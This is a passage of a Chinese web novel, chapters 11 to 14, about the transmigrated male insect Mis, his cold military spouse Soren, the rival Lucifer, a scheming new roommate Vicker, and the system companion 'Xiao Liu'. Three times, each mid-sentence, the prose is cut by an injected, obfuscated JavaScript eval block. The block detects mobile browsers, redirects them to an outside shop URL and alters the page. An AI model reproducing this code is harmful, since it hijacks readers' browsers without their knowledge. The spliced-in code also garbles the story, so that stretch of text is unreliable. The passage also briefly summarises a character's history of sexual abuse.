“不是什么大事,先吃饭吧,路西法殿下不是说,你平日里的饮食比较‘规律’吗?” 艾瑞斯无意参加这场雌雄闹剧,他的时间真的非常珍贵。 没办法,虽然坐立难安,但在艾瑞斯和蒂安的双重劝解下,弥斯还是乖巧地坐在餐椅上,一小口一小口地往嘴里塞饭,任谁都能看出他心里有事。 好好一顿聚餐,怎么搞成这样,真是遗憾啊。 11. 第 11 章 小六:【宿主,赫克斯的虫本来就不会在同一间卧室休息,现在也只是回到了正轨】 弥斯:【可我只有少将一只虫】 而且弥斯私心里总是想和在蓝星的时候一样,这样他还能保有一丝作为“人”的特质,可眼下,他真的好像慢慢地和帝国的雄虫越来越一样了。 弥斯坐在沙发上,目光呆滞地看着少将从主卧里搬出来。 不知道桑因给少将说了什么,导致少将不仅突然决定要雇佣一些亚雌干活,当然在弥斯的极力阻止下,少将放弃了这个糟糕的想法。 但少将铁了心要从主卧里搬出去,而且禁止弥斯再次进入厨房。 弥斯尝试与少将沟通,但显然他失败了。 “少将,需要我帮忙吗?” 弥斯亦步亦趋地跟在雌虫身后,小心翼翼地询问。 少将看起来还在气头上,他不想在这个节骨眼再惹出什么新的麻烦,所以哪怕是想帮忙都要问一下少将的意见。 “不用,你就坐着就好。” 索伦确实十分生气,毕竟很多事情都是雄虫自己要做的,现在却转过头和他的那些所谓朋友说了什么,好像都成了他的问题。 最重要的是,雄虫很讨厌他吗?明明他们一直住在一起,为什么偏偏在和路西法殿下有亲密行为后,要他搬出主卧呢。甚至还是借着所谓的朋友之口。 到底是真对他有意见,还是为了让他接受路西法的存在,恐怕只有雄虫自己心里清楚。 …… 萨达卡尔学院的学生正在做每个周一都在做的事情,蹲守在学院门口,等待雄虫冕下经过,这些虫未必觉得自己真的能被雄虫冕下看中,但万一呢。 雄虫看起来颇为失落,围观的雌虫恨不得冲上去把造成这件事的当事虫揍一顿泄愤。 “弥斯。” 路西法也发现了雄虫的不同寻常,但昨天的聚会,他没有被邀请,自然无从得知发生了什么。 “路西法,早上好。” 弥斯还没有从昨天的冲击中缓过神,不知不觉地采用了蓝星的打招呼话术。 路西法尽可能温和地问:“心情不好吗?” 弥斯沉默地摇摇头,不想多说。 路西法看出了雄虫一直在走神,把虫送到研究所门口之后,还是有些不放心。 “弥斯,你真的没事吗?” 雄虫看起来糟糕极了,但却什么都不愿意说。 该死,昨天到底发生了什么,路西法有些烦躁。果然应该在雄虫家里也安上监控的。 要不是不想看到雄虫和那只臭虫亲热,他早就那么做了,该死,昨天那场聚会到底发生了什么。 “我只是还没想明白,路西法。” 弥斯和他告别,开始一天的忙碌,只不过让他没想到的是,虫不会一直倒霉,但他可以。 从研究所出来回到宿舍,看到门口站着的主角虫之后,天塌了。 “你好,我是你的新室友,维克尔。” “你,你好。” 弥斯对于这只不速之客的到来,实在是说不上欢迎。 “弥斯阁下,我是生物学院的新生,因为选修了《精神力作战应用与压制》,所以被分到这里了。” “可能需要麻烦你收拾一间屋子出来。” 不得不说,这只主角虫看起来颇为绅士,和那天在展览会遇到的判若两虫。 “好的。” 弥斯的东西不多,收拾起来也很快。 《精神力作战应用与压制》这门课,他也了解过,是针对军雌开展的课程。 主要是学习如何在战场上有效运用精神暴动时骤然提升的单虫作战能力,以及如何压制暴动时可能带来的诸多问题,比如敌友不分、死亡威胁等。 不愧是主角,就连上的课程都如此的正能量。 弥斯:【六六,查一下主角的资料】 小六:【检索中……】 小六:【主角身世凄惨,不建议了解】 弥斯:【什么意思】 这还是系统第一次没有直接显示资料,是出现故障了吗,还是说因为是主角,所以不能查。 小六:【根据系统推演出来的结果,宿主了解主角的身世之后,有89.99%的可能性会被道德绑架。】 小六:【请重新确认是否查阅主角的资料】 弥斯:【不查阅】 弥斯本来就没有特别好奇,六六都这样说了,他自然听劝。 【维克尔 贫民窟出身,无父无母,因为出众的长相,年幼时被多次侵犯。 十五岁左右逃离魔窟,靠端盘子、搬砖谋生,也做过男模,天公不作美,又被那些人以视频威胁,不愿低头的主角居无定所、辗转多地。 直到二十岁,遇到了生命中的“贵人”。重新上学读书,只花了四年就考上了大学。 可“贵人”不是好人,只是想玩点更刺激的,将烂骨头修好之后再打碎,岂不是更有意思。 大学自然没有上成,“贵人”囚禁了主角,玩腻之后又送给多人玩弄,主角被关了三个月之后,机缘巧合下藏了尖锐物,杀人之后逃出。 去自首的路上,出车祸穿越。 】 弥斯:【主角讨厌我吗】 小六:【不讨厌,主角对宿主的好感度为50,目前排名第一。】 弥斯这就不理解了,难不成主角表达好感的方式是给虫戴绿帽子吗?真是不理解。 “弥斯阁下,请问你知道食堂在哪吗?” 维克尔有些不好意思地挠挠头,“我今天刚来,还不认识路。” 看来是和他一样,靠着雄虫特权进的学院。 弥斯四年前穿进来的时候,一下子就变成了文盲,幸好他是S级雄虫,所以还是能在帝国第一军事学院就读。 可主角现在不是B级吗?帝国竟然对雄虫已经优待到这种地步了吗? “嗯,我带你过去。” 反正他也没吃晚饭呢,带新舍友去一趟食堂也没什么。没想到又看到了意想不到的虫,今天到底是怎么回事。 “少将?” 弥斯有些难以置信地看向索伦,眼睛都瞪大了几分,少将这三年里,哪怕是他第一次来学院的那天,都没有时间过来。 “弥斯阁下,索伦少将希望能更加了解你的生活,所以才抽空过来的,想着给你一个惊喜,所以我刚才没告诉你。” 清雅的声音从身后响起,带着星星笑意,任谁都觉得雄虫体贴极了。 除了弥斯,三年没想过来来了解,周日发生了不愉快之后,周一就神不知鬼不觉地出现在萨达卡尔学院。 他不知道,身后那只温文尔雅的主角虫却知道,真是好大一个惊喜。 小六:【宿主,我查了他们两只虫光脑里的通讯记录,这个主意是主角提出来的。】 谁提出来的已经不重要了,如何不让自己难堪才是弥斯现下要解决的问题。 “谢谢,那我和少将先离开了。” 弥斯的脸上挂上了标准的羞涩,他曾经研究过人类在表达情感时的面部表情,秉持着科研的态度,认真学习,所以在表演这方面虽然没有灵气,但日常还是够用的。 “弥斯,先等等。” 索伦拉住他,军雌的力气向来很大,自然会有些吃痛,可弥斯什么都没说。 “维克尔阁下,真是失礼,这里有你的朋友吗?雄虫一只虫出现在食堂这种虫多的地方,多少还有些麻烦。” 维克尔阁下的受欢迎程度,整个军部的军雌都是了解的,毕竟连拉斐尔中将都为他着迷,更别提普通士兵了。 维克尔温柔地笑了笑:“不用麻烦,索伦少将,你不是想和弥斯彼此之间多了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627995|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些吗?快去吧,别因为我的原因浪费时间,那我真的要自责了。” 旁边偷偷观察的雌虫不由得在心里感慨,真是一只温柔体贴的雄虫,就是可惜弥斯阁下珠玉在前,B级和S级差的可不是一星半点,前者只是稀少,后者却是凤毛麟角。 弥斯在心里嗤笑,果真是主角,有他在,自己的戏份都少了许多。 两只虫走得稍微远一些之后,索伦手上才特意用了点力气,温柔地教育雄虫。 “弥斯,你要多向维克尔阁下学习……” 弥斯一句话都没往心里去,心里却觉得有些好笑,这些贵族虫的劣根性果真如此。 小六:【宿主,他是不是在PUA你】 弥斯:【六六,你真聪明】 可惜他已经不是初入赫克斯的“人”了,三年多的时间,已经足够他获取一些谋生的手段。 亲爱的索伦少将,但凡你挽留我的手段不那么低劣,或许我们的婚姻都不会走向极端,真是可惜,太愚蠢了,不及巴尔福阁下的半分聪明。 弥斯:【小六,查一下巴尔福的最近动态】 索伦少将和主角虫最近走得那么近,弥斯就不信罗斯蒂亚的主虫一点儿也不知道,风平浪静有时候反而最是可怕。 貌合神离的两只虫心里有都各自的打算,只可惜在外虫路西法看来,两只虫倒是浓情蜜意的,吃个饭而已,手却像焊上去了一样。 周围的虫都默默地离某处远了一些,路西法殿下的脸色实在是太恐怖了,简直像被抢走了雄主一样。 弥斯轻笑出声,惹得索伦侧目,“怎么了,我刚刚说得很好笑吗,弥斯?” “没有,只是突然想起第一次见到少将的时候。” 三年前, “姓名,年龄。” 索伦少将公事公办,完全没有因为救下来的是雄虫另眼相待。 “……” 雄虫看起来被吓坏了,一直在颤抖,“对不起,我不记得了。” 索伦抬眼看了一眼这只疑点重重的雄虫,总觉得他是联盟派来的间谍,毕竟大战过后的战场上突然出现一只雄虫,怎么想都很诡异。 “卡尼上尉,带这只雄虫阁下去休息。” 雄虫在战舰上的表现还算乖巧,平日里也不出房间,倒是没给索伦惹什么麻烦。 弥斯:【六六,那只少将就是我的未来雌君吗】 雄虫端坐在床上,眼睛直勾勾地看着面前的空气,名字还有应对措施都是这个名叫小六的系统帮他想的。 弥斯的记忆还有些模糊,他甚至想不起来为什么会穿越,毕竟他不是在家里睡觉吗? 现在已经开始流行无痛穿越了吗? 小六:【宿主,小六无权干预你的选择,所以不知道他是否能成为你的雌君。小六存在的意义是帮助你快速适应异世界的生活】 弥斯:【那我的任务是什么,小说里不都这么写吗】 小六:【检索中……】 小六:【宿主没有任务,小六的任务是帮助宿主在异世界生存】 弥斯:【好古早的设定,六六可以做些什么呢】 小六:【小六可以帮助宿主查阅资料、监察敌虫、黑进系统……】 弥斯:【六六,你真厉害】 小六:【^_^】 小六:【《穿成路人雄虫之后成了万人迷》】 小六:【宿主,这是本书的资料,希望对你有帮助,爱你】 弥斯也就大致翻了翻,没有在书里找到自己的名字,就没再关注了。 本来,弥斯和索伦少将应该不会有更多的接触,虽然按照小说的一般套路,救命恩虫的少将应该是他的天选对象,可弥斯社恐、少将冷漠,怎么看都擦不出火花。 但是,下了战舰,做完检查之后,在巴尔福阁下的百般撮合,两只虫竟然真的组建了家庭。 12. 第 12 章 索伦的思绪也随着雄主的这句话飘到初认识的那天,军雌不懂如何追求雄虫,只能笨拙地求主虫帮忙,以及第一次灌溉时,他根据雌君法则跪在床前…… 总之,都是一些不堪回首的经历。 “那个时候,雄主你还是没有身份的星际难民,现在也成了萨达卡尔学院的学生。” 雄虫的身体僵了一下,又很快恢复正常。 弥斯冷淡地说:“嗯,少将,我带你四处转转吧。” 索伦没有发觉什么不对,也吃得差不多了,正好消消食。 小六:【宿主,他这话什么意思,你可是S级雄虫,他未免有些太猖狂了。】 系统十分生气,可它只是一团没有实体的数据,什么都做不了。 弥斯:【没关系的,六六,少将说的也是事实】 S级军雌的听力十分强大,臭虫的话一字不落地进了路西法的耳朵,怪不得,雄虫如此乖巧,原来是这只臭虫的原因。 如果说一开始路西法还有顾虑,那么听到这虫话里话外对雄虫的轻视,再忍下去就真的是忍成王八了。 “弥斯阁下,你回来了。” 维克尔看到雄虫回来,笑得热情洋溢,微微侧身,让他进门,自然的就像是已经在这个宿舍居住良久了。 “嗯。” 弥斯的回应就颇为冷淡,相比之下,确实情商差了一点。 “可以喊你弥斯吗?”维克尔不好意思地笑了笑,“亲近一点。” “你随意。”弥斯停了将近一分钟才继续说,“我不在乎称呼的。” 主角倒是出奇的体贴,竟然还会等他把话说完,怪不得是主角。 维克尔:“弥斯,怎么样,今晚开心吗?” 弥斯:“嗯。” 维克尔:“索伦少将十分喜爱你,光脑上一直问我你喜欢什么,我才给他出了这个主意,应该没有冒犯到你吧。” 弥斯摇摇头,他和少将之间的问题,确实和主角无关。 索伦觉得这趟来得很值,尤其是在看到雄主发来的消息之后。 弥斯:【天黑,回家的时候注意安全】 索伦:【嗯】 不管怎么说,雄主开始学着关心他,也算是一个小小的进步。 索伦的得意没有持续太久,眼前突然闪过一道刺眼的光,竖瞳骤然紧缩,他朝着光的来源看过去,路西法,怎么是他。 突然,索伦的目光被雌虫脖颈处的一点红光抓住了。 雪狼?和雄主带的那条一摸一样,A级军雌的敏锐让他一下子就意识到事情并不简单。 路西法自然也感觉到有虫在看他,看到是那只虫,他的嘴角不由得挂起一抹讽刺的笑意,真是不知道这只军雌用的什么手段得到了雄虫的偏爱。 两只虫看不对眼,可都顾忌着是在学院,短暂的对视之后,就各自离开了。 路西法没把这件事放在心上,可索伦却久久不能忘怀。 那只火红的狼无数次浮现在他眼前,久久不能释怀,他现在无比确定一点,雄主和路西法绝对有些牵扯。 可这件事,弥斯确实不知道。 所以当周五晚上回到家,少将在客厅里突然提起他的雪狼项链时,弥斯还以为少将想起来之前送他的那条了。 “少将,你现在开始喜欢项链了吗?” 被认可是一件非常开心的事情,弥斯自然十分在意,毕竟上次送少将礼物的时候,他说这些东西只有雄虫才会喜欢,所以从来没有戴过。 作为一只战功累累的军雌,索伦自然无法直接张口问雄主要这种雄虫才会喜欢的小玩意,但他又实在在意那件事。 “雄主不是很喜欢吗?我可以试着接受。” 弥斯很兴奋,眼睛都亮了几分,正想说话,少将就再度开口了。 “但那只雪狼我不喜欢。” 反正雄主平日里就喜欢搞弄这些东西,想来有很多条,换一条不一样的项链,索伦心里也少些膈应。 弥斯沉默了一会儿,少将不戴原来是因为不喜欢雪狼吗?他掐了掐腿上的软肉,故作轻松地说:“那我送少将一条别的。” “少将有喜欢的动物吗?植物也行。” 说着,他又拘谨地笑了一下。 “异兽就不太行,星网上资料太少了,我应该做不好。” 星网上是有异兽的照片的,可都太多血腥,观察不到细节,这对于雕刻来说,难度太大,弥斯虽然喜欢做手工,可终究是门外汉,也只能做一些简单的东西。 “那你随意就好。” 索伦不太在意具体的挂饰,他只要有就行了。 “不是雪狼就行。” 一想到他眼前的雄虫送了别的雌虫那么亲密的挂饰,索伦就感到阵阵恶心。 看来少将真的很不喜欢雪狼了,真是令虫意外。 “好。” 索伦回房了,自从那天一怒之下搬离主卧之后,雄主真的没有再求他回去,不过他并不担心。 雄主十分喜爱那事,哪怕三年了还没让他怀上蛋,依旧坚持每周灌溉,想来过不了多久,雄主就会找借口搬来和他一起住。 不怪索伦误会,帝国的雄虫贪图权势地位,鲜少有像弥斯这样,不是出于繁衍的目的进行灌溉。 平常雄虫面对像少将这样,灌溉这么频繁还没怀上虫蛋的军雌,早就厌弃了。所以索伦少将有此误解也是情有可原。 小六:【宿主,你是不是对索伦少将太好了】 弥斯:【六六,你觉得怎么才算是对少将好呢】 小六:【就刚刚,他不但要还挑三拣四的,宿主也愿意送他】 弥斯:【我是他的雄主,这都是应该的】 弥斯不觉得自己对少将有多好,不过是一些分内之事。更何况他不也是住在少将的别墅里,少将也没收过房租,这点好都是相互的。 这是少将第一次主动开口找他要东西,弥斯十分重视,为了不让少将久等,他立刻就开始构思新的项链。 最终还是选定了狐狸,狐狸也是爱情卫士,送给少将也是很合适的。 没日没夜的做了一天一夜,总算是在周六晚上做了个七七八八,只差下一步的细化打磨了。 “少将,我们今天……” 雄虫羞涩地站在侧卧门口,低着头,小声道。 果然,雄主忍不住了,可索伦不想就这样轻易地同意,毕竟雄主和路西法之间的事情就像一根刺一样,埂在了他喉间,难以下咽。 “不必了,这几天太累了,没心情。” 与雄虫的羞涩相比,少将就显得尤为冷硬,就好像是陌不相识的路虫。 “嗯,那你好好休息。” 弥斯表示理解,只要少将精神力不出问题,他对这事倒也不是十分热衷。 哪怕弥斯经常锻炼,但好像雄虫的体力天生就不太行,少将在床上又不太配合,所以灌溉这件事真的称不上舒服。 弥斯不知道雄虫的尾勾在灌溉的时候可以发挥妙用,索伦少将又认为可能是雄虫比较体贴,更何况他还是感觉很好的。 雄虫哪怕没有使用尾勾,也能让他十分舒爽,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627996|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两只虫竟然谁都不觉得有问题。 索伦没想到雄主竟然就这样同意了,不过他还是觉得雄虫是想让自己低声下气的求他,但这是不可能的,他再也不会像刚结婚时那样卑微。 弥斯转身回房间了,今天不用灌溉的话,就可以把剩余的打磨抛光工作做完,这样明天早上就可以交给少将了。 小六:【宿主,他那是什么态度】 弥斯有些震惊,【六六,你们系统也会生气吗】 小六:【-_-】 弥斯:【好可爱啊,六六】 【也不能怪少将,他不是说了吗,他最近太忙了,可能军部的工作就是比较繁重吧,我们要理解他】 更何况,这种日子也持续不了太久了,他和少将之间终究是覆水难收、破镜难圆。 小六:【可是,宿主你可是S级的雄虫,他应该对你毕恭毕敬才对】 弥斯:【我和少将毕竟结婚了,和寻常虫不一样也正常】 小六:【哼,结婚了不是也可以离吗,我看路西法殿下就比他好太多了】 弥斯:【六六,别乱说,我和路西法是好朋友】 【好了,不讨论了,再说一会儿,狐狸就做不完了。】 弥斯做事的时候总是十分专注,他对这种需要集中精力的事情出奇的感兴趣,忙起来的时候总是会忘记时间。 等窗外的第一缕阳光射进拥挤的室内,经过桌前的镜子反射到弥斯脸上,他才恍然,天亮了。 头还有点晕,但是想到只要把狐狸穿上去,这条项链就完工了,弥斯就能稍稍打起点精神。 “少将!” 索伦正打算出门,就被雄虫喊住了,他的脸上还带着些不耐烦。 已经两三周没有灌溉了,虽说索伦不像别的军雌那般热衷于那种事,但是三年的规律的灌溉让他早就习惯了这种节奏。突然停下来,还真有些不适应。 “什么事?” 可能是刚刚走得有些急了,弥斯眼前一黑,幸好他意志力坚定,没有表现出什么异样。 “项链。” 雄虫摊开手心,一只精致可爱、毛发分明的狐狸乖巧地躺在白嫩的掌心。 索伦把项链抓起来,随手放在了军服外套的衣兜里。 冷漠地问:“还有事吗?” 显然,他已经忘了前天向雄虫讨要礼物的事情了。 雄主突然送他这么无用的东西,多半是为了讨好他,但要是弥斯不和路西法划清界限,他不会这么轻易地就原谅。 不管最终弥斯会不会收下路西法,他索伦都不可能再为了这种事低下他身为军雌骄傲的头颅。 弥斯摇摇头。 索伦果断转身离开了,得不到的才是最好的,雄虫既然已经开始示弱了,那他就更不能放下身段。 小六:【他为什么会变成这样,明明一开始的时候是他求着宿主】 弥斯:【六六,少将兴许是太忙了,我们要理解他】 还能是为什么,自然是因为拉斐尔中将正在追求的雄虫却频频向少将示好。 维克尔的态度越是体贴,就越是能勾起少将最初的回忆,那段和小说情节完全不同的相知之路。 弥斯知道少将在想些什么,甚至知道他在等自己低头,可…… 雄虫低声笑了,面上愈发地温柔,弥斯早就把现在和少将的相处视作一场名为“分开”的任务。 不管任务目标如何行动,弥斯根本不在意,只要最终的结果是他想要的就行。 所以,六六,你看,他对少将一点儿也不好。 13. 第 13 章 弥斯:【六六,我好像有点低血糖,你帮我给桑因发条消息,今天就不去找他了】 弥斯几乎是和系统说完之后,不消片刻就晕了过去。 006慌了。 这时它才反应过来,宿主从周五晚上到今天,一天两夜不眠不休就为了那条项链,太疯狂了,它竟然也忘记劝说宿主去休息。 雄虫这么脆弱的身体怎么可能熬得住啊,宿主能坚持到现在已经是奇迹了。 —— 索伦真的不知道今天为什么这么倒霉,刚到军部没多久,就看到了路西法殿下,哦,不对,在军部的话,应该是路西法中将。 “维克尔阁下,路西法中将,拉斐尔中将,日安。” 说心里话,索伦现在一点儿也不想看到路西法,尤其是这虫不知是为了挑衅还是什么,竟然还带着那条雪狼项链。 雪狼,亦名“血狼”,是D等以下的星球才会出现的一种异兽。群居,虽说是异兽,但已经具备了一些智慧。 除了残忍嗜血的异兽本性,在星网上广受好评的是,它们就像虫一样,十分在意伴侣。 所以,路西法戴着那条由雄主雕刻的项链,如果不是心存挑衅,索伦实在是想不明白他为什么会一直戴着,毕竟没有哪知军雌会喜欢佩戴饰品,简直丢了军雌的风范。 三只虫里,只有维克尔温柔地回应他,“索伦少将,日安。” 可索伦在情敌面前根本没在意雄虫,他讽刺地开口:“路西法中将,没想到作为军雌,你竟然会喜欢佩戴饰品。” 维克尔扭头看了过去,路西法殿下竟然真的佩戴了一条项链。 “好精致的狼,殿下是在哪里买的,我也想去买一条。” 路西法顿了一下,原来那天是发现他戴的项链了吗?怪不得敢眼神挑衅他。 “朋友送的。” 路西法不想给雄虫惹麻烦,只要那只蠢虫不说,想必也没别的虫知道这是弥斯亲手做得。 弥斯在意这只蠢虫,路西法自然不想让弥斯因为这点儿小事烦心。 “维克尔阁下喜欢?” 索伦从兜里把雄主刚送他的项链拿出来,“我这里倒是也有一条,可我毕竟是军雌,欣赏不来这东西,就没有戴。” 虽说是在和维克尔说话,索伦的眼神却直直地盯着路西法,他相信,路西法肯定能看出来这是雄主做的。 路西法收到又怎么样,这种东西于他而言,不过是唾手可得、不屑一顾的东西。 “哇,少将你这条看起来更精致。” 维克尔本来就想挖墙脚,自然愿意捧着索伦少将。至于为什么不考虑路西法殿下,他只是区区B级,在等级分明的虫族,自然不会想不开去高攀帝国的皇子殿下。 “是吗?可能是送我这条项链的虫更加用心吧。” 索伦说得得意,尤其是看到路西法脸色变得难看之后,更是得意。 “送的虫这般用心,索伦少将也该珍惜。” 路西法不否认他看到那条狐狸项链时,心中掀起的波澜,但不是因为嫉妒,而是眼前这只臭虫的态度。 他怎么敢这么轻视雄虫的心意! “那是当然,要不是看到路西法中将戴着,我都想不起来这件外套里竟然还放着一条。” 索伦装模做样地故作大方,“没办法,我这朋友送了太多了,放得哪里都是。” 这当然是假话,弥斯送了几次发现他不喜欢也没戴过之后,就再也没送过了。 不过,这种私事,路西法还有这些虫肯定是不知道的。 “这样吗?那少将可以把这条送我吗?我挺喜欢的。” 维克尔倒是没有想到这是弥斯自己做得,当然如果他知道,估摸着也不会放弃,毕竟这可是一个离间索伦少将和弥斯的大好时机。 “我愿意花星币买下来,我很喜欢这条项链。” 假的,维克尔对配饰没什么兴趣,但眼下如果能戴着这条项链跑到弥斯面前晃悠一圈,肯定能让弥斯更加疑心他和少将的关系。 索伦被架住了,毕竟是弥斯送的,怎么能轻易送虫呢?还是一只不太相熟的雄虫。 但是,他看着路西法铁青的脸色,心中舒爽极了,如果能让路西法不开心的话,一条项链而已倒也不是什么值星币的东西。 反正他也没戴过,雄虫也不可能发现,送了就送了。 “维克尔阁下既然喜欢,那就送你吧,反正我也不戴这种东西。” “拉斐尔,我还有事,先走了。” 路西法撂下一句话之离开了,他被这只虫气得够呛,可眼下无名无份的,想打架都没有理由。 更何况,自从这次出征回来,路西法的精神海状态就不算好,甚至有些危险,万一失控就麻烦了,不能和这种臭虫耗着。 索伦的心情一下子变得很好,毕竟恶心了情敌这种事,不管发生在谁身上,都是得意的。 至于那条项链,他还真没放在心上,要是被雄主发现不见了,就说不小心丢了就行,弥斯肯定不会过多追究的。 …… “怎么样?” 桑因看了看脸色苍白躺在病床上的雄虫,又转头看向德拉修斯医院的医虫。 “雄虫阁下应该是,应该是……” 弗里斯医虫支支吾吾的,一副想说又不敢说的模样,看得桑因气不打一处来。 “说!” “雄虫冕下好像是饿晕了……” 这说出去谁信啊,弗里斯彷佛已经幻视了雄保会的虫喊着什么“庸医”什么的,冲进来把他抓走。 “饿晕?”桑因的嘴角扯出一个危险的角度。 “你这虫如果想进军事法庭可以直说,我没心情听你在这里胡言乱语。” 就说没有虫会信,别说高贵的皇子殿下,就弗里斯医虫自己,都有点怀疑机器出问题了。 一只高等级雄虫在帝国的土地上饿晕了,放眼整个星网都不会有虫信的。 “殿下,可能是机器出问题了,我已经通知下去,换一台新的机器过来。” 虽说已经给弥斯冕下注射了一些维持身体机能的营养液,弗里斯还是有些不放心,万一诊断结果出现问题,别说是他,德拉修斯医院都难逃其咎。 桑因咒骂道:“废物!” 弗里斯低声下气地应和,幸好只是骂几声,要是遇到个不讲理的军雌过来,他现在估计已经被扔进监狱了。 弥斯躺在洁白的病床上,苍白的脸色几乎要和床融为一体,眼睑下方淡淡的乌青,隐隐地印证了几分医虫的诊断。 可这事实在是太过惊世骇俗,哪怕最高精尖的仪器扫描出的数据就是如此,也实在是难以令虫信服。 忽然,雄虫蝶翼般的睫毛微微地颤动了一下,乖乖交叠在腹部的指尖微微一蜷,眉宇间几乎不可见地轻轻蹙起。 这一幕落在一直紧紧盯着雄虫阁下状态的弗里斯医虫眼中,简直是像救世主般的存在。 “殿下,雄虫冕下快醒了!” 桑因皱起眉头,对医虫的大惊小怪感到不满,可眼下弥斯的安全更加重要,暂且放过这只医虫。 “弥斯,你感觉怎么样?” 恐怕只有虫神知道,突然接到弥斯打来的视频通讯时,桑因还在床上睡懒觉,要不是看到了弥斯的名字,他恐怕都不会接。 视讯那一边是装潢素雅的吊灯,桑因凑近光脑,才勉强能听到微弱的脉搏跳动声,他立刻就意识到弥斯应当是出事了。 火急火燎地赶到弥斯家里把虫送进医院,到现在心脏都被吓得还没缓过神来,都怪莱昂纳,可恶的莱昂纳。 弥斯缓缓睁开眼,入目就是一片白色,他稍微缓了几秒,就反应过来应该是被送到医院了。 “我没事,谢谢你,桑因。” 听到雄虫微弱的气声,桑因的脸色更加难看了。 “不会真是你那只没用的雌君干的好事吧!” 弥斯想安抚一下正在气头上的朋友,可许多没进食的身体,让他行动起来实在是有气无力。 雄虫扭头看向旁边战战兢兢的医虫,“可以给我一些吃的吗?昨天忘记吃饭了,有些低血糖。” 弗里斯松了一口气,竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627997|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的是饿晕的,饭碗保住了。 “冕下,你长时间没有进食,目前只推荐吃一些流食。” 弗里斯将偷偷准备好的食物端出来,然后就感受到来自殿下的危险视线,手都被吓得抖了一下。 “这,这也是,为了冕下的健康着想,还望冕□□谅。” 说着,弗里斯还偷瞄了殿下一眼,太恐怖了,这就是虫皇继承虫的威严吗?他只是一只小小的医虫,承受不了任何压力啊,救命! “谢……没关系,麻烦了。” 弥斯压下了脱口而出的感谢,他还记得桑因阁下的说过的话。 稍微喝了几口难以下咽的流食,又缓了几分钟,弥斯才勉强恢复了几分气力。 “桑因,我没事,只是自己忙忘了,和少将没什么关系。” “你不要生气,好不好?” 雄虫眨巴着黑溜溜的大眼睛,可怜巴巴地拽着他的一节袖口,桑因不由得有些心软。 “我没生气,但你那只雌君真应该去帝国的军事监狱里走一遭。” “桑因。” 弥斯偷偷看了一眼医虫,似乎是有什么悄悄话要说。 弗里斯十分识趣地退下了,虽然他也对雄虫冕下晕倒的原由十分好奇,但还是小命更加重要。 弥斯见医虫走了,才拽着桑因慢慢地解释一番。 桑因算是听明白了,但他实在是不理解。 “就为了那只军雌的随口一说,你就把自己折腾成现在这副模样?” 弥斯怎么是一只恋爱脑虫,他怎么没看出那只蠢货有什么优点,可以把虫迷惑成这般模样。 桑因说落了他个把小时,最后还是看他头都快缩进被子里了才停下。 “弥斯,他真的配不上你。” 弥斯眉眼低垂,小声地说:“少将在战场上救过我,所以……” “而且,少将其实对我还挺好的……” 雄虫的声音越来越小,可能是看到朋友恨铁不成钢的眼神,总算是意识到他好像不解释反而更好一点。 “他对你好,然后让你在家里饿晕了?” “他对你好,早上临走的时候,能看不出来你脸色煞白?” “他对你好个屁!” 弥斯有些惊讶地抬起头,似乎是没想到帝国的皇子生气的时候,也会如此……粗俗。 桑因也发现自己说了什么了不得的话,又看到雄虫震惊的眼神,面子上有些挂不住。 可恶的莱昂纳,肯定是这只言语粗俗的军雌影响了高贵的他。 “看什么看!我才是为了你好。” “你今天必须和那只虫断了!” 弥斯把头埋进被子里,隔着一层,声音都有些闷闷的,“我再想想吧。” “有什么好想的,帝国随便拉一只虫出来,都比你那只雌君好个千倍万倍的。” 桑因一开始还觉得路西法这么阴狠,得不到小雄虫的心十分正常,可狗屎在前,他真的不知道路西法到底输在哪里。 “桑因,哪怕是……也要给我一些时间吧。” 桑因气坏了,“哼!” “反正你别轻易就原谅他了。” “你知道你给我打视讯的时候,我看不到你,喊你也没虫应,凑近了才能听到你的脉搏,有多吓虫吗?我还以为你出事了!” 啊,他什么时候打了视讯,不是让六六发消息吗? 弥斯本来还以为是桑因看到他低血糖的消息,有些担心才跑到他家里面的,没想到还有这一茬。 “对不起,麻烦你了,桑因。” “我不是说你……算了,和你说不明白,身为S级雄虫,弥斯你真的可以在帝国横着走的。” “只有螃蟹才横着走。”弥斯小声地反驳道。 “你还有心情开玩笑?”但不管怎么说,能开玩笑说明弥斯心里还没出问题,桑因也算是放心了。 两只虫又东拉西扯,聊了一段时间,等弥斯挂水结束,把虫送回家,桑因才不舍地和他告别。 “对自己好一点,弥斯。” “嗯。” 14. 第 14 章 006不语,只是一味地心虚,是它自作主张篡改了宿主的命令。 弥斯:【六六,知道你是担心我,但这会给少将带来麻烦】 弥斯私心里还是希望好聚好散的,并不想把虫送进军事监狱,他知道在赫克斯,法律对雄虫有多偏爱。 小六:【对不起,宿主】 